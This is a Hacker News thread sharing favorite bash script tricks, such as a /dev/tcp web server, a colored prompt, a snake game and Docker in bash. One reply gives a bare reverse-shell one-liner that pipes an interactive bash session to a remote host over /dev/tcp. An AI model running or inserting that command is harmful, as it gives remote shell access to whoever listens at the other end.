5 ms·
Ask HN: What is the coolest thing you have seen done with a bash script?
Love to hear some examples to get some inspiration.
- anonym29 4y agoWeb server, made possible with /dev/tcp. Plenty of examples all over GH.
- quijoteuniv 4y agoPretty awesome, thanks!
- quijoteuniv 4y agobash -i >& /dev/tcp/10.0.0.1/8080 0>&1
- chunk_waffle 4y agoThe first time I encountered a "shar"[0] I was amazed. It was very early in my career when I first encountered one and I had only seen shell scripts, archives, and packages, it was an interesting mash up. https://en.wikipedia.org/wiki/Shar https://en.wikipedia.org/wiki/Shar
- hnthrow10282910 4y agoReminds me of this article https://www.jitbit.com/alexblog/249-now-thats-what-i-call-a-hacker/ https://www.jitbit.com/alexblog/249-now-thats-what-i-call-a-...
- mmphosis 4y agoThis is a color thing I've done with a bash script / bash prompt. If there is a better way to do this that would be the coolest. ### long prompt (in color) only when 'user or hostname or path' changes, or after certain commands prompt_command () { local -a a; local last_cmd; IFS=' ' read -r -d '' -a a < <( history 1 ); last_cmd="$(printf "%s" "${a[1]}"|xargs -0)"; if [ "$USER_HOSTNAME_PWD" != "$USER@$HOSTNAME:$PWD" ] || [[ " cd src doc ssh sudo su login $(sed -e '/^#.*$/d' -e '/^$/d' -e 's@^.*/@@' /etc/shells|uniq|xargs) " == *" ${last_cmd} "* ]]; then USER_HOSTNAME_PWD="$USER@$HOSTNAME:$PWD"; echo -e "\\e7\\e(B\\e[m- \\e[3$((($(id -u) != 0) + 1))m${USER}\\e(B\\e[m@\\e[35m${HOSTNAME%%.*}\\e(B\\e[m:\\e[36m${PWD/#$HOME/\~}\\e8"; fi } -() { unset USER_HOSTNAME_PWD } PROMPT_COMMAND=prompt_command PS1='$ ';[ "$(id -u)" -eq 0 ] && PS1='# '
- cyberpunk 4y agoi once wrote a loadbalancer in bash during a prod outage that took about 3 months to remove ;)
- pgporada 4y agoI want to know more, please.
- gforce_de 4y agoIf done right, a script can run everywhere, so shameless selfplug, a game: https://github.com/bittorf/shell_snake https://github.com/bittorf/shell_snake There is also a tetris.sh lying around somewhere...
- svilen_dobrev 4y ago3-level only OO-like "virtual" funcs: for same name, aliases have priority over functions have priority over commands-from-path
- chaos_emergent 4y agoIn CS101 our final was to build a sudoku solver in C++. I think the best student time was a minute. At the end of the semester I went to the professor’s office to ask about optimizations that could’ve been made and he showed me a bash one-liner that solved a sudoku in under a second. I wish I remembered what the one liner was!
- nikau 4y ago./asm_sodku_solver.exe
- entropicgravity 4y agoThe coolest thing I've seen done with a bash script was to see it replaced with a python script.
- julietteeb 4y agoa minecraft server, https://sdomi.pl/weblog/15-witchcraft-minecraft-server-in-bash/ https://sdomi.pl/weblog/15-witchcraft-minecraft-server-in-ba...
- davidpfarrell 4y ago/shameless plug - In my defense I originally read the title as "..you have done.." vs "..you have seen done.." Two of my OSS projects are Bash and I'm rather proud of them: A pretty cool shell-centric template engine: * https://github.com/TekWizely/bash-tpl https://github.com/TekWizely/bash-tpl * Has full bats tests to confirm compatibility with Bash 3.2 onward * Makes heavy use of Bash regexes A wrapper over update-alternatives that enables user-level configurations: * https://github.com/TekWizely/my-alternatives https://github.com/TekWizely/my-alternatives * Versions for Debian, SUSE, and RedHat * Supports per-shell level configurations as well
- OpFour 4y agobeautiful sort command: du -sk ./* | sort -nr | awk 'BEGIN{ pref[1]="K"; pref[2]="M"; pref[3]="G";} { total = total + $1; x = $1; y = 1; while( x > 1024 ) { x = (x + 1023)/1024; y++; } printf("%g%s\t%s\n",int(x10)/10,pref[y],$2); } END { y = 1; while( total > 1024 ) { total = (total + 1023)/1024; y++; } printf("Total: %g%s\n",int(total10)/10,pref[y]); }'
- ineedausername 4y agoI think this is quite fun: https://github.com/dylanaraps/neofetch/blob/master/neofetch https://github.com/dylanaraps/neofetch/blob/master/neofetch
- quijoteuniv 4y agoIs about 5000 lines!
- xg15 4y agoAnd another 5000 lines OS ascii art logos...
- superasn 4y agoKind of obligatory for HN as it has been shared many times but I think Bocker is pretty cool - Docker implemented in around 100 lines of bash (1) https://github.com/p8952/bocker https://github.com/p8952/bocker
- xg15 4y agoRewrote it in python.
- sanroot99 4y agoLmfao
- password4321 4y agoIt took me longer than I care to admit to figure out caddy + fastcgi but running a bash script remotely over SSL with basic auth is kinda sweet.
- dxld 4y agoSounds interesting, could you elaborate on the details? :)
- nyc_data_geek1 4y agoMany years ago, as a relative newbie in the industry, working a 1099 gig for a big4 accounting firm, I automated a netbackup media server migration with a for loop. Ended up saving myself and the more senior contractor (who was doing this process manually) about a day's work. Best thing I ever programmed.